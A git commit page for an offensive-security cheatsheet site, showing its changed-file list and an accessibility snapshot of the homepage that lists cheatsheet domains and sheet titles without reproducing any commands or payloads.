daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE
commit ac2328beaa456a81d43fe0a793a452093679239d
parent cc3cf0e9bbce671fc33068583515b514ac8280e4
Author: $: DAΞMON <zer0sec.xp@icloud.com>
Date:   Wed, 12 Aug 2026 03:54:36 +0100

πŸ”§ Update [main] | 12 Aug 2026 03:54:36 BST

πŸ“Š Stats: +18373 / -1236 across 36 file(s)
πŸ“ Breakdown: βž•34  ✏️2  πŸ—‘οΈ0  πŸ”€0
πŸ‘€ Author: $: DAΞMON

πŸ“ Changes:
  βž• Added     .playwright-mcp/FCOEOABGFENEJGLBFFODGKKBKCDHCGFN-1-0-85-0.crx
  βž• Added     .playwright-mcp/page-2026-08-10T08-01-57-047Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-02-43-446Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-03-46-589Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-04-21-553Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-04-37-752Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-05-10-789Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-05-35-571Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-05-46-725Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-05-59-712Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-08-19-047Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-08-25-147Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-08-33-108Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-08-49-732Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-09-23-420Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-10-29-163Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-10-36-774Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-10-43-783Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-10-52-244Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-10-57-971Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-14-02-204Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-21-09-387Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-23-21-385Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-24-41-609Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-24-49-770Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-25-06-086Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-25-41-570Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-27-11-323Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-28-12-613Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-28-20-739Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-28-27-711Z.yml
  βž• Added     .playwright-mcp/page-2026-08-10T08-28-34-417Z.yml
  ✏️  Modified  content-manifest.json
  βž• Added     live-root.png
  ✏️  Modified  src/components/SearchModal.astro
  βž• Added     src/content/sheets/active-directory/autobloody.md

πŸ“ˆ Line changes per file:
  β€’ .playwright-mcp/FCOEOABGFENEJGLBFFODGKKBKCDHCGFN-1-0-85-0.crx +-     --
  β€’ .playwright-mcp/page-2026-08-10T08-01-57-047Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-02-43-446Z.yml  +419   -0
  β€’ .playwright-mcp/page-2026-08-10T08-03-46-589Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-04-21-553Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-04-37-752Z.yml  +423   -0
  β€’ .playwright-mcp/page-2026-08-10T08-05-10-789Z.yml  +496   -0
  β€’ .playwright-mcp/page-2026-08-10T08-05-35-571Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-05-46-725Z.yml  +546   -0
  β€’ .playwright-mcp/page-2026-08-10T08-05-59-712Z.yml  +547   -0
  β€’ .playwright-mcp/page-2026-08-10T08-08-19-047Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-08-25-147Z.yml  +546   -0
  β€’ .playwright-mcp/page-2026-08-10T08-08-33-108Z.yml  +552   -0
  β€’ .playwright-mcp/page-2026-08-10T08-08-49-732Z.yml  +635   -0
  β€’ .playwright-mcp/page-2026-08-10T08-09-23-420Z.yml  +370   -0
  β€’ .playwright-mcp/page-2026-08-10T08-10-29-163Z.yml  +371   -0
  β€’ .playwright-mcp/page-2026-08-10T08-10-36-774Z.yml  +765   -0
  β€’ .playwright-mcp/page-2026-08-10T08-10-43-783Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-10-52-244Z.yml  +424   -0
  β€’ .playwright-mcp/page-2026-08-10T08-10-57-971Z.yml  +525   -0
  β€’ .playwright-mcp/page-2026-08-10T08-14-02-204Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-21-09-387Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-23-21-385Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-24-41-609Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-24-49-770Z.yml  +546   -0
  β€’ .playwright-mcp/page-2026-08-10T08-25-06-086Z.yml  +662   -0
  β€’ .playwright-mcp/page-2026-08-10T08-25-41-570Z.yml  +1151  -0
  β€’ .playwright-mcp/page-2026-08-10T08-27-11-323Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-28-12-613Z.yml  +418   -0
  β€’ .playwright-mcp/page-2026-08-10T08-28-20-739Z.yml  +765   -0
  β€’ .playwright-mcp/page-2026-08-10T08-28-27-711Z.yml  +772   -0
  β€’ .playwright-mcp/page-2026-08-10T08-28-34-417Z.yml  +863   -0
  β€’ content-manifest.json                              +1221  -1199
  β€’ live-root.png                                      +-     --
  β€’ src/components/SearchModal.astro                   +413   -37
  β€’ src/content/sheets/active-directory/autobloody.md  +345   -0

Diffstat:

A.playwright-mcp/FCOEOABGFENEJGLBFFODGKKBKCDHCGFN-1-0-85-0.crx | 0


A.playwright-mcp/page-2026-08-10T08-01-57-047Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-02-43-446Z.yml | 420+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-03-46-589Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-04-21-553Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-04-37-752Z.yml | 424+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-05-10-789Z.yml | 497+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-05-35-571Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-05-46-725Z.yml | 547+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-05-59-712Z.yml | 548+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-08-19-047Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-08-25-147Z.yml | 547+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-08-33-108Z.yml | 553+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-08-49-732Z.yml | 636+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-09-23-420Z.yml | 371+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-10-29-163Z.yml | 372+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-10-36-774Z.yml | 766+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-10-43-783Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-10-52-244Z.yml | 425+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-10-57-971Z.yml | 526+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-14-02-204Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-21-09-387Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-23-21-385Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-24-41-609Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-24-49-770Z.yml | 547+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-25-06-086Z.yml | 663+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-25-41-570Z.yml | 1152+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-27-11-323Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-28-12-613Z.yml | 419+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-28-20-739Z.yml | 766+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-28-27-711Z.yml | 773+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


A.playwright-mcp/page-2026-08-10T08-28-34-417Z.yml | 864+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Mcontent-manifest.json | 2421++++++++++++++++++++++++++++++++++++++++---------------------------------------


Alive-root.png | 0


Msrc/components/SearchModal.astro | 450++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------


Asrc/content/sheets/active-directory/autobloody.md | 345+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


36 files changed, 18404 insertions(+), 1237 deletions(-)

diff --git a/.playwright-mcp/FCOEOABGFENEJGLBFFODGKKBKCDHCGFN-1-0-85-0.crx b/.playwright-mcp/FCOEOABGFENEJGLBFFODGKKBKCDHCGFN-1-0-85-0.crx
Binary files differ.
diff --git a/.playwright-mcp/page-2026-08-10T08-01-57-047Z.yml b/.playwright-mcp/page-2026-08-10T08-01-57-047Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=e1]:
+  - banner [ref=e2]:
+    - generic [ref=e3]:
+      - link "DÆMON//SEC home" [ref=e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=e5]: //
+        - text: SEC
+        - generic [ref=e6]: _
+      - navigation "Primary" [ref=e7]:
+        - link "01 Vault" [ref=e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=e9]: "01"
+          - generic [ref=e10]: Vault
+        - link "02 Payloads" [ref=e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=e12]: "02"
+          - generic [ref=e13]: Payloads
+        - link "03 Tags" [ref=e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=e15]: "03"
+          - generic [ref=e16]: Tags
+        - link "04 Credits" [ref=e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=e18]: "04"
+          - generic [ref=e19]: Credits
+      - generic [ref=e20]:
+        - button "Search cheatsheets" [ref=e21] [cursor=pointer]:
+          - generic [ref=e24]: Search
+          - generic [ref=e25]: /
+        - button "Toggle theme" [ref=e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=e37]:
+    - generic [ref=e39]:
+      - generic [ref=e40]:
+        - heading "D Γ† M O N" [level=1] [ref=e42]:
+          - generic [ref=e43]: D
+          - generic [ref=e44]: Γ†
+          - generic [ref=e45]: M
+          - generic [ref=e46]: O
+          - generic [ref=e47]: "N"
+        - paragraph [ref=e49]:
+          - generic [ref=e50]: The cheatsheet vault
+      - generic [ref=e52]:
+        - generic [ref=e53]:
+          - generic [ref=e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=e55]
+          - paragraph [ref=e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=e57]:
+            - button "Search the vault" [ref=e58] [cursor=pointer]
+            - link "Payloads" [ref=e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=e66]:
+          - generic [ref=e67]:
+            - generic [ref=e68]:
+              - generic [ref=e69]: daemon@sec
+              - generic [ref=e70]: ~
+              - generic [ref=e71]: "%"
+              - generic [ref=e72]: whoami --vault
+            - generic [ref=e74]:
+              - term [ref=e75]: scope
+              - definition [ref=e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=e77]: format
+              - definition [ref=e78]: Copy-ready commands, current tool flags
+              - term [ref=e79]: search
+              - definition [ref=e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=e81]: license
+              - definition [ref=e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=e83]:
+            - generic [ref=e84]:
+              - term [ref=e85]: Curated cheatsheets
+              - definition [ref=e86]:
+                - text: "103"
+                - generic [ref=e87]: Curatedcheatsheets
+            - generic [ref=e88]:
+              - term [ref=e89]: Operator domains
+              - definition [ref=e90]:
+                - text: "06"
+                - generic [ref=e91]: Operatordomains
+            - generic [ref=e92]:
+              - term [ref=e93]: Mirrored payload pages
+              - definition [ref=e94]:
+                - text: "65"
+                - generic [ref=e95]: Mirroredpayload pages
+    - region "Domains" [ref=e96]:
+      - generic [ref=e97]: "^: Index"
+      - generic [ref=e101]:
+        - generic [ref=e102]:
+          - generic [ref=e103]:
+            - generic [ref=e104]: "01"
+            - generic [ref=e105]: AD
+            - generic [ref=e109]: Active Directory
+            - generic [ref=e110]: 130 sheets
+          - generic [ref=e111]:
+            - generic [ref=e112]: "02"
+            - generic [ref=e113]: ENUM
+            - generic [ref=e117]: Enumeration
+            - generic [ref=e118]: 18 sheets
+          - generic [ref=e119]:
+            - generic [ref=e120]: "03"
+            - generic [ref=e121]: PWN
+            - generic [ref=e125]: Exploitation
+            - generic [ref=e126]: 7 sheets
+          - generic [ref=e127]:
+            - generic [ref=e128]: "04"
+            - generic [ref=e129]: PRIV
+            - generic [ref=e133]: Privilege Escalation
+            - generic [ref=e134]: 2 sheets
+          - generic [ref=e135]:
+            - generic [ref=e136]: "05"
+            - generic [ref=e137]: CRED
+            - generic [ref=e141]: Password Attacks
+            - generic [ref=e142]: 3 sheets
+          - generic [ref=e143]:
+            - generic [ref=e144]: "06"
+            - generic [ref=e145]: WEB
+            - generic [ref=e149]: Web
+            - generic [ref=e150]: 9 sheets
+          - generic [ref=e151]:
+            - generic [ref=e152]: "07"
+            - generic [ref=e153]: PIVOT
+            - generic [ref=e157]: Tunneling & Pivoting
+            - generic [ref=e158]: 6 sheets
+          - generic [ref=e159]:
+            - generic [ref=e160]: "08"
+            - generic [ref=e161]: CRYPTO
+            - generic [ref=e165]: Cryptography
+            - generic [ref=e166]: 3 sheets
+          - generic [ref=e167]:
+            - generic [ref=e168]: "09"
+            - generic [ref=e169]: DFIR
+            - generic [ref=e173]: DFIR
+            - generic [ref=e174]: 4 sheets
+          - generic [ref=e175]:
+            - generic [ref=e176]: "10"
+            - generic [ref=e177]: TOOL
+            - generic [ref=e181]: Tools
+            - generic [ref=e182]: 18 sheets
+          - generic [ref=e183]:
+            - generic [ref=e184]: "11"
+            - generic [ref=e185]: NIX
+            - generic [ref=e189]: Linux & IT
+            - generic [ref=e190]: 9 sheets
+          - generic [ref=e191]:
+            - generic [ref=e192]: "12"
+            - generic [ref=e193]: GIT
+            - generic [ref=e197]: Git & Workflow
+            - generic [ref=e198]: 5 sheets
+        - generic [ref=e199]:
+          - generic [ref=e200]:
+            - generic [ref=e201]: "01"
+            - generic [ref=e202]: AD
+            - generic [ref=e206]: Active Directory
+            - generic [ref=e207]: 130 sheets
+          - generic [ref=e208]:
+            - generic [ref=e209]: "02"
+            - generic [ref=e210]: ENUM
+            - generic [ref=e214]: Enumeration
+            - generic [ref=e215]: 18 sheets
+          - generic [ref=e216]:
+            - generic [ref=e217]: "03"
+            - generic [ref=e218]: PWN
+            - generic [ref=e222]: Exploitation
+            - generic [ref=e223]: 7 sheets
+          - generic [ref=e224]:
+            - generic [ref=e225]: "04"
+            - generic [ref=e226]: PRIV
+            - generic [ref=e230]: Privilege Escalation
+            - generic [ref=e231]: 2 sheets
+          - generic [ref=e232]:
+            - generic [ref=e233]: "05"
+            - generic [ref=e234]: CRED
+            - generic [ref=e238]: Password Attacks
+            - generic [ref=e239]: 3 sheets
+          - generic [ref=e240]:
+            - generic [ref=e241]: "06"
+            - generic [ref=e242]: WEB
+            - generic [ref=e246]: Web
+            - generic [ref=e247]: 9 sheets
+          - generic [ref=e248]:
+            - generic [ref=e249]: "07"
+            - generic [ref=e250]: PIVOT
+            - generic [ref=e254]: Tunneling & Pivoting
+            - generic [ref=e255]: 6 sheets
+          - generic [ref=e256]:
+            - generic [ref=e257]: "08"
+            - generic [ref=e258]: CRYPTO
+            - generic [ref=e262]: Cryptography
+            - generic [ref=e263]: 3 sheets
+          - generic [ref=e264]:
+            - generic [ref=e265]: "09"
+            - generic [ref=e266]: DFIR
+            - generic [ref=e270]: DFIR
+            - generic [ref=e271]: 4 sheets
+          - generic [ref=e272]:
+            - generic [ref=e273]: "10"
+            - generic [ref=e274]: TOOL
+            - generic [ref=e278]: Tools
+            - generic [ref=e279]: 18 sheets
+          - generic [ref=e280]:
+            - generic [ref=e281]: "11"
+            - generic [ref=e282]: NIX
+            - generic [ref=e286]: Linux & IT
+            - generic [ref=e287]: 9 sheets
+          - generic [ref=e288]:
+            - generic [ref=e289]: "12"
+            - generic [ref=e290]: GIT
+            - generic [ref=e294]: Git & Workflow
+            - generic [ref=e295]: 5 sheets
+      - generic [ref=e296]: 12 domains
+    - generic [ref=e298]:
+      - generic [ref=e300]:
+        - paragraph [ref=e301]:
+          - generic [ref=e302]: "01"
+          - generic [ref=e303]: "^:"
+          - generic [ref=e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=e306]
+      - generic [ref=e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=e309]:
+            - generic [ref=e310]: AD
+            - generic [ref=e311]: "01"
+          - heading "Active Directory" [level=3] [ref=e312]
+          - paragraph [ref=e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=e318]:
+            - generic [ref=e319]: ENUM
+            - generic [ref=e320]: "02"
+          - heading "Enumeration" [level=3] [ref=e321]
+          - paragraph [ref=e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=e327]:
+            - generic [ref=e328]: PWN
+            - generic [ref=e329]: "03"
+          - heading "Exploitation" [level=3] [ref=e330]
+          - paragraph [ref=e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=e336]:
+            - generic [ref=e337]: PRIV
+            - generic [ref=e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=e339]
+          - paragraph [ref=e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=e345]:
+            - generic [ref=e346]: CRED
+            - generic [ref=e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=e348]
+          - paragraph [ref=e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=e354]:
+            - generic [ref=e355]: WEB
+            - generic [ref=e356]: "06"
+          - heading "Web" [level=3] [ref=e357]
+          - paragraph [ref=e358]: XSS, injection, and web application testing.
+          - generic [ref=e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=e363]:
+            - generic [ref=e364]: PIVOT
+            - generic [ref=e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=e366]
+          - paragraph [ref=e367]: Moving through segmented networks and double pivots.
+          - generic [ref=e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=e372]:
+            - generic [ref=e373]: CRYPTO
+            - generic [ref=e374]: "08"
+          - heading "Cryptography" [level=3] [ref=e375]
+          - paragraph [ref=e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=e381]:
+            - generic [ref=e382]: DFIR
+            - generic [ref=e383]: "09"
+          - heading "DFIR" [level=3] [ref=e384]
+          - paragraph [ref=e385]: Forensics, memory, and registry analysis.
+          - generic [ref=e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=e390]:
+            - generic [ref=e391]: TOOL
+            - generic [ref=e392]: "10"
+          - heading "Tools" [level=3] [ref=e393]
+          - paragraph [ref=e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=e399]:
+            - generic [ref=e400]: NIX
+            - generic [ref=e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=e402]
+          - paragraph [ref=e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=e408]:
+            - generic [ref=e409]: GIT
+            - generic [ref=e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=e411]
+          - paragraph [ref=e412]: Version control and operator workflow.
+          - generic [ref=e413]: 5 sheets
+    - link [ref=e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=e417]:
+        - generic [ref=e418]:
+          - paragraph [ref=e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=e420]
+          - paragraph [ref=e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=e423]: Browse payloads
+    - generic [ref=e427]:
+      - generic [ref=e428]:
+        - generic [ref=e429]:
+          - paragraph [ref=e430]:
+            - generic [ref=e431]: "03"
+            - generic [ref=e432]: "^:"
+            - generic [ref=e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=e435]
+        - link "All tags" [ref=e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=e441]:
+            - generic [ref=e442]: "01"
+            - generic [ref=e443]: ENUM
+            - generic [ref=e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=e453]:
+            - generic [ref=e454]: "02"
+            - generic [ref=e455]: ENUM
+            - generic [ref=e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=e465]:
+            - generic [ref=e466]: "03"
+            - generic [ref=e467]: AD
+            - generic [ref=e471]: Active-Directory_cheat_sheet
+            - generic [ref=e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=e477]:
+            - generic [ref=e478]: "04"
+            - generic [ref=e479]: ENUM
+            - generic [ref=e483]: Anonymous Null Testing
+            - generic [ref=e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=e489]:
+            - generic [ref=e490]: "05"
+            - generic [ref=e491]: AD
+            - generic [ref=e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=e501]:
+            - generic [ref=e502]: "06"
+            - generic [ref=e503]: AD
+            - generic [ref=e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=e513]:
+            - generic [ref=e514]: "07"
+            - generic [ref=e515]: AD
+            - generic [ref=e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=e525]:
+            - generic [ref=e526]: "08"
+            - generic [ref=e527]: AD
+            - generic [ref=e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=e532]: 2026-08-10
+  - contentinfo [ref=e536]:
+    - generic [ref=e537]:
+      - generic [ref=e538]:
+        - link "DÆMON // SEC" [ref=e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=e540]: //
+          - text: SEC
+        - paragraph [ref=e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=e542]:
+        - link "daemon-404.github.io β†—" [ref=e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
